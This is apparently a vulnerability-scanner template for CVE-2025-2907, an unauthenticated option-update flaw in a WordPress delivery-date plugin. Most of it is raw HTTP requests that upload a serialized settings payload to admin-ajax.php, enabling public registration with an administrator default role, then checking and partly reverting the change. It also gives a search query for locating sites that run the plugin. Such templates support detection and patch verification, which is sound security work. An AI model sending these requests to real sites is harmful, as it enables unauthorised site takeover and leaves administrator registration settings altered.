Order Delivery Date Pro for WooCommerce < 12.3.1 - Arbitrary Option Update

id: CVE-2025-2907

info:
  name: Order Delivery Date Pro for WooCommerce < 12.3.1 - Arbitrary Option Update
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.
  impact: |
    Unauthenticated attackers can modify WordPress options to enable user registration with administrator role, allowing complete site takeover without authentication.
  remediation: |
    Update to version 12.3.1 or later.
  reference:
    - https://wpscan.com/vulnerability/2e513930-ec01-4dc6-8991-645c5267e14c/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2907
  classification:
    epss-score: 0.01286
    epss-percentile: 0.66546
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2907
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    fofa-query: body="wp-content/plugins/order-delivery-date-for-woocommerce"
  tags: cve,cve2025,wp,wordpress,wp-plugin,takeover,order-delivery-date,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYq6CV9CqPQBC7dSy

        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="action"

        orddd_import
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="is_drag_drop_request_ajax"

        yes
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="orddd-import-file";filename="exp.json"

        a:2:{s:18:"users_can_register";b:1;s:12:"default_role";s:13:"administrator";}
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy--

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'orddd_import_success')"
          - "contains(header, 'application/json')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'wp-login-register')"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYq6CV9CqPQBC7dSy

        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="action"

        orddd_import
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="is_drag_drop_request_ajax"

        yes
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="orddd-import-file";filename="exp.json"

        a:2:{s:18:"users_can_register";b:0;s:12:"default_role";s:13:"administrator";}
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy--

      - |
        GET /wp-login.php?{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "wp-login-register"
        negative: true
# digest: 4a0a00473045022062a4d968df8e4030124a67465e48bf27eab53a30a0213acae053ee18750798de022100efa9ae37946a9d15cd45bf3182fccb23b95df5c17bd4c24b80e5965e0bd5f89f:922c64590222798bb761d5b6d8e72950